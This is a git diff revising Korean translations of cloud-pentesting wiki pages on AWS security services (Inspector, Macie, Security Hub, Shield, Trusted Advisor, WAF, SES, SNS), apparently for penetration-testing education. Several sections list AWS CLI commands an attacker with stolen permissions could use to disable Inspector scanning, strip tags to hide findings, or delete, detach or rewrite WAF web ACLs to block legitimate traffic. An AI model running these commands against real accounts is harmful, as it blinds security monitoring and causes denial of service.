[!WARNING] > 이 작업은 위임된 관리자가 수행해야 합니다. @@ -316,11 +318,11 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **Potential Impact**: 주요 계정이 보안 스캔에서 제외되어 취약점이 탐지되지 않고 악용될 수 있습니다. +- **잠재적 영향**: 보안 스캔에서 주요 계정을 제외하여 취약점의 탐지를 피한 채 악용할 수 있게 함. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -`inspector2:Disable` 권한을 가진 공격자는 특정 리소스 유형(EC2, ECR, Lambda, Lambda 코드)에 대한 보안 스캔을 비활성화할 수 있으며, 지정된 계정에서 AWS 환경의 일부가 모니터링되지 않고 공격에 취약하게 남게 됩니다. 또한, **`inspector2:Enable`** 및 **`iam:CreateServiceLinkedRole`** 권한을 통해 공격자는 의심스러운 구성을 탐지되지 않도록 선택적으로 스캔을 다시 활성화할 수 있습니다. +`inspector2:Disable` 권한을 가진 공격자는 특정 리소스 유형(EC2, ECR, Lambda, Lambda 코드)에 대한 보안 스캔을 비활성화할 수 있으며, 지정된 계정에서 AWS 환경의 일부가 모니터링되지 않고 공격에 취약하게 남게 됩니다. 또한, **`inspector2:Enable`** 및 **`iam:CreateServiceLinkedRole`** 권한 덕분에 공격자는 의심스러운 구성을 탐지되지 않도록 선택적으로 스캔을 다시 활성화할 수 있습니다. > [!WARNING] > 이 작업은 위임된 관리자가 수행해야 합니다. @@ -330,7 +332,7 @@ aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBD # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` -- **Potential Impact**: 보안 모니터링에서 블라인드 스팟 생성. +- **잠재적 영향**: 보안 모니터링에서 블라인드 스팟 생성. #### `inspector2:UpdateOrganizationConfiguration` @@ -341,18 +343,18 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco ```bash aws inspector2 update-organization-configuration --auto-enable ``` -- **Potential Impact**: 조직의 보안 스캔 정책 및 구성을 변경합니다. +- **잠재적 영향**: 조직의 보안 스캔 정책 및 구성을 변경합니다. #### `inspector2:TagResource`, `inspector2:UntagResource` -공격자는 AWS Inspector 리소스의 태그를 조작할 수 있으며, 이는 보안 평가를 조직하고 추적하며 자동화하는 데 중요합니다. 태그를 변경하거나 제거함으로써 공격자는 보안 스캔에서 취약점을 숨기고, 준수 보고를 방해하며, 자동화된 수정 프로세스에 간섭하여 점검되지 않은 보안 문제와 시스템 무결성 손상을 초래할 수 있습니다. +공격자는 AWS Inspector 리소스의 태그를 조작할 수 있으며, 이는 보안 평가를 조직하고 추적하며 자동화하는 데 중요합니다. 태그를 변경하거나 제거함으로써 공격자는 보안 스캔에서 취약점을 숨기고, 준수 보고를 방해하며, 자동화된 수정 프로세스에 간섭할 수 있어, 점검되지 않은 보안 문제와 시스템 무결성 손상을 초래할 수 있습니다. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` -- **Potential Impact**: 취약점 숨기기, 컴플라이언스 보고 중단, 보안 자동화 중단 및 비용 할당 중단. +- **잠재적 영향**: 취약점 숨기기, 준수 보고서 중단, 보안 자동화 중단 및 비용 할당 중단. -## References +## 참고문헌 - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 5c967abec..af6b091a8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,11 +6,11 @@ ## Macie -Amazon Macie는 **AWS 계정 내 데이터를 자동으로 감지, 분류 및 식별**하도록 설계된 서비스로 두드러집니다. 이는 **기계 학습**을 활용하여 데이터를 지속적으로 모니터링하고 분석하며, 주로 **클라우드 트레일 이벤트** 데이터와 사용자 행동 패턴을 검토하여 비정상적이거나 의심스러운 활동을 감지하고 경고하는 데 중점을 둡니다. +Amazon Macie는 AWS 계정 내에서 **데이터를 자동으로 감지, 분류 및 식별**하도록 설계된 서비스로 두드러집니다. 이는 **기계 학습**을 활용하여 데이터를 지속적으로 모니터링하고 분석하며, 주로 **클라우드 트레일 이벤트** 데이터와 사용자 행동 패턴을 검토하여 비정상적이거나 의심스러운 활동을 감지하고 경고하는 데 중점을 둡니다. Amazon Macie의 주요 기능: -1. **활성 데이터 검토**: AWS 계정 내에서 다양한 작업이 발생할 때 데이터를 능동적으로 검토하기 위해 기계 학습을 사용합니다. +1. **활성 데이터 검토**: AWS 계정 내에서 다양한 작업이 발생할 때 데이터를 적극적으로 검토하기 위해 기계 학습을 사용합니다. 2. **이상 탐지**: 비정상적인 활동이나 접근 패턴을 식별하여 잠재적인 데이터 노출 위험을 완화하기 위한 경고를 생성합니다. 3. **지속적인 모니터링**: Amazon S3의 새로운 데이터를 자동으로 모니터링하고 감지하며, 시간이 지남에 따라 데이터 접근 패턴에 적응하기 위해 기계 학습과 인공지능을 사용합니다. 4. **NLP를 통한 데이터 분류**: 자연어 처리(NLP)를 활용하여 다양한 데이터 유형을 분류하고 해석하며, 발견 사항의 우선 순위를 정하기 위해 위험 점수를 할당합니다. @@ -44,10 +44,10 @@ Macie는 경고를 다음과 같은 미리 정의된 범주로 분류합니다: 사용자는 API 호출의 위험 수준에 따라 계층으로 분류됩니다: -- **플래티넘**: 높은 위험의 API 호출, 종종 관리자 권한을 가진 경우. -- **골드**: 인프라 관련 API 호출. -- **실버**: 중간 위험의 API 호출. -- **브론즈**: 낮은 위험의 API 호출. +- **Platinum**: 높은 위험의 API 호출, 종종 관리자 권한을 가진 경우. +- **Gold**: 인프라 관련 API 호출. +- **Silver**: 중간 위험의 API 호출. +- **Bronze**: 낮은 위험의 API 호출. ### Identity Types @@ -60,13 +60,13 @@ Macie는 경고를 다음과 같은 미리 정의된 범주로 분류합니다: - 콘텐츠 유형: 감지된 콘텐츠 유형에 따라. - 파일 확장자: 파일 확장자에 따라. - 주제: 파일 내 키워드에 따라 분류. -- 정규 표현식: 특정 정규 표현식 패턴에 따라 분류. +- Regex: 특정 regex 패턴에 따라 분류. 이 카테고리 중 가장 높은 위험이 파일의 최종 위험 수준을 결정합니다. ### Research and Analysis -Amazon Macie의 연구 기능은 모든 Macie 데이터에 대해 맞춤 쿼리를 수행하여 심층 분석을 가능하게 합니다. 필터에는 CloudTrail 데이터, S3 버킷 속성 및 S3 객체가 포함됩니다. 또한, 다른 계정을 초대하여 Amazon Macie를 공유할 수 있도록 지원하여 협력적인 데이터 관리 및 보안 모니터링을 촉진합니다. +Amazon Macie의 연구 기능은 모든 Macie 데이터에 대해 사용자 정의 쿼리를 허용하여 심층 분석을 수행할 수 있습니다. 필터에는 CloudTrail 데이터, S3 버킷 속성 및 S3 객체가 포함됩니다. 또한, 다른 계정을 초대하여 Amazon Macie를 공유할 수 있어 협력적인 데이터 관리 및 보안 모니터링을 촉진합니다. ### Enumeration ``` @@ -101,15 +101,15 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` -#### Post Exploitation +#### 포스트 익스플로이테이션 > [!TIP] > 공격자의 관점에서 이 서비스는 공격자를 탐지하기 위해 만들어진 것이 아니라 저장된 파일에서 민감한 정보를 탐지하기 위해 만들어졌습니다. 따라서 이 서비스는 **공격자가 버킷 내에서 민감한 정보를 찾는 데 도움을 줄 수 있습니다**.\ > 그러나 공격자는 피해자가 경고를 받지 못하도록 방해하여 정보를 더 쉽게 훔치려 할 수도 있습니다. -TODO: PRs are welcome! +TODO: PRs는 환영합니다! -## References +## 참조 - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index eb54cc027..ec7b56e05 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,9 +4,9 @@ ## Security Hub -**Security Hub**는 **AWS 계정**, 서비스 및 지원되는 제3자 파트너 제품에서 보안 **데이터**를 수집하고, **보안** 트렌드를 분석하며 가장 우선 순위가 높은 보안 문제를 식별하는 데 도움을 줍니다. +**Security Hub**는 **AWS 계정**, 서비스 및 지원되는 제3자 파트너 제품에서 보안 **데이터**를 수집하고, 보안 **트렌드**를 분석하고 가장 우선 순위가 높은 보안 문제를 식별하는 데 도움을 줍니다. -이는 **계정 간 보안 관련 경고를 중앙 집중화**하고, 이를 보기 위한 UI를 제공합니다. 가장 큰 제한 사항은 **지역 간 경고를 중앙 집중화하지 않으며**, 오직 계정 간에만 중앙 집중화된다는 것입니다. +이는 **계정 간 보안 관련 경고를 중앙 집중화**하고 이를 보기 위한 UI를 제공합니다. 가장 큰 제한 사항은 **지역 간 경고를 중앙 집중화하지 않으며**, 오직 계정 간에만 중앙 집중화된다는 것입니다. **특징** @@ -19,6 +19,8 @@ - Macie - 제3자 - CIS 표준에 대한 자체 생성 + +## Enumeration ``` # Get basic info aws securityhub describe-hub @@ -51,7 +53,7 @@ aws securityhub get-members --account-ids TODO, PRs 수락됨 -## 참고자료 +## 참조 - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index d3fcd0159..ed37b6b81 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,9 +6,9 @@ AWS Shield는 **분산 서비스 거부 공격**(DDoS)으로부터 **인프라를 보호**하는 데 도움을 주기 위해 설계되었습니다. -**AWS Shield Standard**는 **모두에게 무료**이며, **DDoS 보호**를 제공하여 일반적인 3계층, **네트워크 계층**, 및 4계층, **전송 계층** DDoS 공격에 대응합니다. 이 보호는 CloudFront와 Route 53과 통합되어 있습니다. +**AWS Shield Standard**는 **모든 사용자에게 무료**이며, **DDoS 보호**를 제공하여 일반적인 3계층, **네트워크 계층**, 및 4계층, **전송 계층** DDoS 공격에 대응합니다. 이 보호는 CloudFront와 Route 53과 통합되어 있습니다. -**AWS Shield Advanced**는 추가 비용으로 더 넓은 범위의 AWS 서비스에 대한 DDoS 공격에 대해 **더 높은 수준의 보호**를 제공합니다. 이 고급 수준은 EC2, CloudFront, ELB 및 Route 53에서 실행되는 웹 애플리케이션에 대한 보호를 제공합니다. 보호되는 추가 리소스 유형 외에도 Standard에 비해 향상된 DDoS 보호 수준이 제공됩니다. 또한 **AWS의 24시간 전문 DDoS 대응 팀인 DRT에 대한 접근 권한**도 있습니다. +**AWS Shield Advanced**는 추가 비용으로 더 넓은 범위의 AWS 서비스에 대한 DDoS 공격에 대해 **더 높은 수준의 보호**를 제공합니다. 이 고급 수준은 EC2, CloudFront, ELB 및 Route 53에서 실행되는 웹 애플리케이션에 대한 보호를 제공합니다. 추가로 보호되는 리소스 유형 외에도 Standard에 비해 향상된 DDoS 보호 수준이 제공됩니다. 또한 **AWS의 24시간 전문 DDoS 대응 팀인 DRT에 대한 접근 권한**도 제공됩니다. Standard 버전의 Shield가 3계층 및 4계층에 대한 보호를 제공하는 반면, **Advanced는 7계층, 애플리케이션 공격에 대한 보호도 제공합니다.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 37fa9609b..4b232d210 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -11,7 +11,7 @@ Trusted Advisor는 **AWS 모범 사례**에 맞춰 AWS 계정을 최적화하기 1. **비용 최적화:** 비용을 줄이기 위해 리소스를 재구성하는 방법을 제안합니다. 2. **성능:** 잠재적인 성능 병목 현상을 식별합니다. 3. **보안:** 취약점이나 약한 보안 구성을 스캔합니다. -4. **장애 내성:** 서비스 회복력과 장애 내성을 향상시키기 위한 관행을 추천합니다. +4. **장애 내성:** 서비스 회복력과 장애 내성을 향상시키기 위한 관행을 권장합니다. Trusted Advisor의 포괄적인 기능은 **AWS 비즈니스 또는 엔터프라이즈 지원 계획**을 통해서만 독점적으로 접근할 수 있습니다. 이러한 계획이 없으면 **여섯 가지 핵심 검사**에 대한 접근만 가능하며, 주로 성능 및 보안에 중점을 둡니다. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 17062bd84..e4f33af2a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,7 +6,7 @@ ## AWS WAF -AWS WAF는 **웹 애플리케이션 방화벽**으로, **웹 애플리케이션이나 API를** 다양한 웹 공격으로부터 보호하도록 설계되었습니다. 사용자는 SQL 인젝션이나 크로스 사이트 스크립팅과 같은 일반적인 공격 벡터를 완화하는 **보안 규칙**을 설정하고 사용자 정의 필터링 규칙을 정의하여 들어오는 트래픽을 제어할 수 있습니다. +AWS WAF는 **웹 애플리케이션 방화벽**으로, 다양한 웹 공격으로부터 **웹 애플리케이션이나 API를 보호**하도록 설계되었습니다. 사용자는 SQL 인젝션이나 크로스 사이트 스크립팅과 같은 일반적인 공격 벡터를 완화하는 **보안 규칙**을 설정하고, 사용자 정의 필터링 규칙을 정의하여 들어오는 트래픽을 제어할 수 있습니다. ### 주요 개념 @@ -18,11 +18,11 @@ AWS WAF는 **웹 애플리케이션 방화벽**으로, **웹 애플리케이션 규칙 그룹은 여러 웹 ACL에 적용할 수 있는 재사용 가능한 규칙 모음입니다. 규칙 그룹은 다양한 웹 애플리케이션이나 API에서 일관된 규칙 세트를 관리하고 유지하는 데 도움을 줍니다. -각 규칙 그룹에는 관련된 **용량**이 있으며, 이는 규칙, 규칙 그룹 및 웹 ACL을 실행하는 데 사용되는 운영 리소스를 계산하고 제어하는 데 도움이 됩니다. 생성 중에 값이 설정되면 수정할 수 없습니다. +각 규칙 그룹은 관련된 **용량**을 가지며, 이는 규칙, 규칙 그룹 및 웹 ACL을 실행하는 데 사용되는 운영 리소스를 계산하고 제어하는 데 도움을 줍니다. 생성 중에 값이 설정되면 수정할 수 없습니다. #### 규칙 -규칙은 AWS WAF가 들어오는 웹 요청을 검사하는 데 사용하는 조건 집합을 정의합니다. 규칙의 두 가지 주요 유형은 다음과 같습니다: +규칙은 AWS WAF가 들어오는 웹 요청을 검사하는 데 사용하는 조건 집합을 정의합니다. 규칙의 두 가지 주요 유형이 있습니다: 1. **정규 규칙**: 이 규칙 유형은 지정된 조건을 사용하여 웹 요청을 허용, 차단 또는 계산할지를 결정합니다. 2. **비율 기반 규칙**: 특정 IP 주소에서 5분 동안의 요청 수를 계산합니다. 여기서 사용자는 임계값을 정의하며, IP에서의 요청 수가 5분 이내에 이 한도를 초과하면 해당 IP에서의 후속 요청은 요청 비율이 임계값 아래로 떨어질 때까지 차단됩니다. 비율 기반 규칙의 최소 임계값은 **2000 요청**입니다. @@ -37,7 +37,7 @@ IP 세트는 허용하거나 차단하려는 IP 주소 또는 IP 주소 범위 #### 정규 표현식 패턴 세트 -정규 표현식 패턴 세트는 웹 요청에서 검색할 패턴을 정의하는 하나 이상의 정규 표현식(regex)을 포함합니다. 이는 특정 문자 시퀀스를 필터링하는 것과 같은 더 복잡한 매칭 시나리오에 유용합니다. +정규 표현식 패턴 세트는 웹 요청에서 검색할 패턴을 정의하는 하나 이상의 정규 표현식(정규식)을 포함합니다. 이는 특정 문자 시퀀스를 필터링하는 것과 같은 더 복잡한 매칭 시나리오에 유용합니다. #### 잠금 토큰 @@ -51,24 +51,24 @@ AWS WAF의 API 키는 특정 API 작업에 대한 요청을 인증하는 데 사 #### 권한 정책 -권한 정책은 AWS WAF 리소스에서 작업을 수행할 수 있는 대상을 지정하는 IAM 정책입니다. 권한을 정의함으로써 WAF 리소스에 대한 접근을 제어하고 권한이 있는 사용자만 구성을 생성, 업데이트 또는 삭제할 수 있도록 보장할 수 있습니다. +권한 정책은 AWS WAF 리소스에서 작업을 수행할 수 있는 사람을 지정하는 IAM 정책입니다. 권한을 정의함으로써 WAF 리소스에 대한 접근을 제어하고 권한이 있는 사용자만 구성을 생성, 업데이트 또는 삭제할 수 있도록 보장할 수 있습니다. #### 범위 AWS WAF의 범위 매개변수는 WAF 규칙 및 구성이 지역 애플리케이션 또는 Amazon CloudFront 배포에 적용되는지를 지정합니다. - **REGIONAL**: Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito 사용자 풀, AWS App Runner 서비스 및 AWS Verified Access 인스턴스와 같은 지역 서비스에 적용됩니다. 이러한 리소스가 위치한 AWS 리전을 지정합니다. -- **CLOUDFRONT**: Amazon CloudFront 배포에 적용되며, 이는 전 세계적입니다. CloudFront에 대한 WAF 구성은 콘텐츠가 제공되는 위치와 관계없이 `us-east-1` 리전을 통해 관리됩니다. +- **CLOUDFRONT**: Amazon CloudFront 배포에 적용되며, 이는 글로벌입니다. CloudFront에 대한 WAF 구성은 콘텐츠가 제공되는 위치와 관계없이 `us-east-1` 리전을 통해 관리됩니다. ### 주요 기능 #### 모니터링 기준 (조건) -**조건**은 AWS WAF가 모니터링하는 들어오는 HTTP/HTTPS 요청의 요소를 지정하며, 여기에는 XSS, 지리적 위치(GEO), IP 주소, 크기 제약, SQL 인젝션 및 패턴(문자열 및 정규 표현식 매칭)이 포함됩니다. **국가에 따라 CloudFront 수준에서 제한된 요청은 WAF에 도달하지 않는다는 점에 유의해야 합니다.** +**조건**은 AWS WAF가 모니터링하는 들어오는 HTTP/HTTPS 요청의 요소를 지정하며, 여기에는 XSS, 지리적 위치(GEO), IP 주소, 크기 제약, SQL 인젝션 및 패턴(문자열 및 정규식 매칭)이 포함됩니다. **국가에 따라 CloudFront 수준에서 제한된 요청은 WAF에 도달하지 않는다는 점에 유의해야 합니다.** 각 AWS 계정은 다음을 구성할 수 있습니다: -- **각 유형에 대해 100 조건** (정규 표현식의 경우 **10 조건**만 허용되지만 이 한도는 증가할 수 있습니다). +- **각 유형에 대해 100 조건** (정규식의 경우 **10 조건**만 허용되지만 이 한도는 증가할 수 있습니다). - **100 규칙** 및 **50 웹 ACL**. - 최대 **5개의 비율 기반 규칙**. - 애플리케이션 로드 밸런서와 함께 WAF가 구현될 때 **초당 10,000 요청**의 처리량. @@ -77,15 +77,15 @@ AWS WAF의 범위 매개변수는 WAF 규칙 및 구성이 지역 애플리케 작업은 각 규칙에 할당되며, 옵션은 다음과 같습니다: -- **허용**: 요청이 적절한 CloudFront 배포 또는 애플리케이션 로드 밸런서로 전달됩니다. +- **허용**: 요청이 적절한 CloudFront 배포 또는 Application Load Balancer로 전달됩니다. - **차단**: 요청이 즉시 종료됩니다. - **계산**: 규칙의 조건을 충족하는 요청을 집계합니다. 이는 규칙 테스트에 유용하며, 허용 또는 차단으로 설정하기 전에 규칙의 정확성을 확인합니다. -- **CAPTCHA 및 챌린지**: CAPTCHA 퍼즐 및 침묵 챌린지를 사용하여 요청이 봇에서 오지 않았는지 확인합니다. +- **CAPTCHA 및 챌린지**: 요청이 CAPTCHA 퍼즐 및 조용한 챌린지를 사용하여 봇에서 오지 않는지 확인됩니다. 웹 ACL 내의 어떤 규칙과도 일치하지 않는 요청은 **기본 작업**(허용 또는 차단)을 수행합니다. 웹 ACL 내에서 정의된 규칙 실행 순서는 중요하며 일반적으로 다음 순서를 따릅니다: -1. 화이트리스트에 있는 IP 허용. -2. 블랙리스트에 있는 IP 차단. +1. 허용된 화이트리스트 IP. +2. 차단된 블랙리스트 IP. 3. 해로운 서명과 일치하는 요청 차단. #### CloudWatch 통합 @@ -185,14 +185,14 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` -### Post Exploitation / Bypass +### 포스트 익스플로잇 / 우회 > [!TIP] -> 공격자의 관점에서 이 서비스는 공격자가 WAF 보호 및 다른 웹을 손상시키는 데 도움이 될 수 있는 네트워크 노출을 식별하는 데 도움을 줄 수 있습니다. +> 공격자의 관점에서 이 서비스는 공격자가 WAF 보호 및 네트워크 노출을 식별하는 데 도움을 줄 수 있으며, 이는 다른 웹을 손상시키는 데 도움이 될 수 있습니다. > -> 그러나 공격자는 이 서비스의 중단에도 관심이 있을 수 있으므로 웹이 WAF에 의해 보호되지 않게 됩니다. +> 그러나 공격자는 이 서비스를 방해하여 웹이 WAF에 의해 보호되지 않도록 할 수도 있습니다. -많은 Delete 및 Update 작업에서는 **lock token**을 제공해야 할 필요가 있습니다. 이 토큰은 리소스에 대한 동시성 제어에 사용되어, 여러 사용자 또는 프로세스가 동시에 동일한 리소스를 업데이트하려고 할 때 변경 사항이 우연히 덮어쓰여지지 않도록 보장합니다. 이 토큰을 얻기 위해서는 특정 리소스에 대해 해당 **list** 또는 **get** 작업을 수행할 수 있습니다. +많은 Delete 및 Update 작업에서 **lock token**을 제공해야 할 필요가 있습니다. 이 토큰은 리소스에 대한 동시성 제어에 사용되며, 여러 사용자 또는 프로세스가 동시에 동일한 리소스를 업데이트하려고 할 때 변경 사항이 우연히 덮어쓰여지지 않도록 보장합니다. 이 토큰을 얻기 위해 특정 리소스에 대해 해당 **list** 또는 **get** 작업을 수행할 수 있습니다. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** @@ -241,10 +241,10 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -이 권한을 가진 공격자는 다음을 수행할 수 있습니다: +이 권한이 있으면 공격자는 다음을 수행할 수 있습니다: -- 새로운 Web ACL을 생성하여 악의적인 트래픽을 허용하거나 합법적인 트래픽을 차단하는 규칙을 도입하여 WAF를 무용지물로 만들거나 서비스 거부를 초래할 수 있습니다. -- 기존 Web ACL을 업데이트하여 이전에 차단된 SQL 인젝션 또는 크로스사이트 스크립팅과 같은 공격을 허용하도록 규칙을 수정하거나 유효한 요청을 차단하여 정상적인 트래픽 흐름을 방해할 수 있습니다. +- 새로운 Web ACL을 생성하여 악성 트래픽을 허용하거나 합법적인 트래픽을 차단하는 규칙을 도입하여 WAF를 무용지물로 만들거나 서비스 거부를 초래할 수 있습니다. +- 기존 Web ACL을 업데이트하여 이전에 차단된 SQL 인젝션 또는 크로스 사이트 스크립팅과 같은 공격을 허용하도록 규칙을 수정하거나 유효한 요청을 차단하여 정상적인 트래픽 흐름을 방해할 수 있습니다. - Web ACL을 삭제하여 영향을 받는 리소스를 완전히 보호받지 못하게 하여 다양한 웹 공격에 노출시킬 수 있습니다. > [!NOTE] @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -다음 예제는 특정 IP 집합에서 합법적인 트래픽을 차단하기 위해 Web ACL을 업데이트하는 방법을 보여줍니다. 원본 IP가 해당 IP 중 어느 것과도 일치하지 않으면 기본 동작도 차단이 되어 DoS를 유발합니다. +다음 예제는 특정 IP 집합에서 합법적인 트래픽을 차단하기 위해 Web ACL을 업데이트하는 방법을 보여줍니다. 원본 IP가 해당 IP 중 어느 것과도 일치하지 않으면 기본 동작도 차단이 되어 DoS를 유발할 수 있습니다. **원본 Web ACL**: ```json @@ -303,11 +303,11 @@ aws wafv2 delete-web-acl --name --id --lock-token --scop "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -웹 ACL을 업데이트하는 명령: +Web ACL을 업데이트하는 명령: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` -**rule.json** 파일은 다음과 같을 것입니다: +**rule.json** 파일은 다음과 같이 보일 것입니다: ```json [ { @@ -333,7 +333,7 @@ aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -**`wafv2:AssociateWebACL`** 권한은 공격자가 웹 ACL(액세스 제어 목록)을 리소스와 연결할 수 있게 하여 보안 제어를 우회하고 무단 트래픽이 애플리케이션에 도달하도록 허용할 수 있으며, 이는 SQL 인젝션 또는 크로스 사이트 스크립팅(XSS)과 같은 취약점으로 이어질 수 있습니다. 반대로, **`wafv2:DisassociateWebACL`** 권한을 통해 공격자는 보안 보호 기능을 일시적으로 비활성화하여 리소스를 탐지되지 않은 상태로 취약점에 노출시킬 수 있습니다. +**`wafv2:AssociateWebACL`** 권한은 공격자가 웹 ACL(Access Control Lists)을 리소스와 연결할 수 있게 하여 보안 제어를 우회하고 무단 트래픽이 애플리케이션에 도달하도록 허용할 수 있으며, 이는 SQL 인젝션 또는 크로스 사이트 스크립팅(XSS)과 같은 취약점으로 이어질 수 있습니다. 반대로, **`wafv2:DisassociateWebACL`** 권한을 통해 공격자는 보안 보호 기능을 일시적으로 비활성화하여 리소스를 탐지 없이 취약점에 노출시킬 수 있습니다. 보호되는 리소스 유형에 따라 추가 권한이 필요할 수 있습니다: @@ -357,7 +357,7 @@ aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` -**잠재적 영향**: AWS WAF로 보호되는 AWS 환경 내에서 자원 보안이 손상되고, 악용 위험이 증가하며, 서비스 중단이 발생할 수 있습니다. +**잠재적 영향**: 자원 보안 손상, 악용 위험 증가, 그리고 AWS WAF로 보호되는 AWS 환경 내에서의 서비스 중단 가능성. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** @@ -399,7 +399,7 @@ aws wafv2 delete-regex-pattern-set --name --scope [--log-scope --scope | CLOUDFRONT --region=us-east-1> diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 186b49851..b82dd31b5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,7 +4,7 @@ ## 기본 정보 -Amazon Simple Email Service (Amazon SES)는 **이메일을 보내고 받기 위해 설계되었습니다**. 사용자가 대규모로 효율적이고 안전하게 거래, 마케팅 또는 알림 이메일을 보낼 수 있도록 합니다. **다른 AWS 서비스와 잘 통합되어**, 모든 규모의 비즈니스를 위한 이메일 커뮤니케이션 관리에 강력한 솔루션을 제공합니다. +Amazon Simple Email Service (Amazon SES)는 **이메일을 보내고 받기 위해 설계되었습니다**. 사용자가 대규모로 효율적이고 안전하게 트랜잭션, 마케팅 또는 알림 이메일을 보낼 수 있도록 합니다. **다른 AWS 서비스와 잘 통합되어**, 모든 규모의 비즈니스를 위한 이메일 커뮤니케이션 관리에 강력한 솔루션을 제공합니다. SES와 상호작용할 수 있는 **아이덴티티**(예: 이메일 주소 또는 도메인)를 등록해야 합니다. @@ -30,12 +30,12 @@ cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` -It's also possible to do this from the AWS console web. +AWS 콘솔 웹에서도 이 작업을 수행할 수 있습니다. -### Enumeration +### 열거 > [!WARNING] -> SES에는 **`ses`**와 **`sesv2`**의 2가지 API가 있습니다. 일부 작업은 두 API 모두에 있으며, 다른 작업은 두 API 중 하나에만 있습니다. +> SES에는 2개의 API가 있습니다: **`ses`** 및 **`sesv2`**. 일부 작업은 두 API 모두에 있으며, 다른 작업은 두 API 중 하나에만 있습니다. ```bash # Get info about the SES account aws sesv2 get-account diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index ae11b2661..f11fae25b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -11,7 +11,7 @@ A2A 통신을 위한 주요 기능에는 **게시/구독 (pub/sub) 메커니즘* ### **SQS와의 차이점** 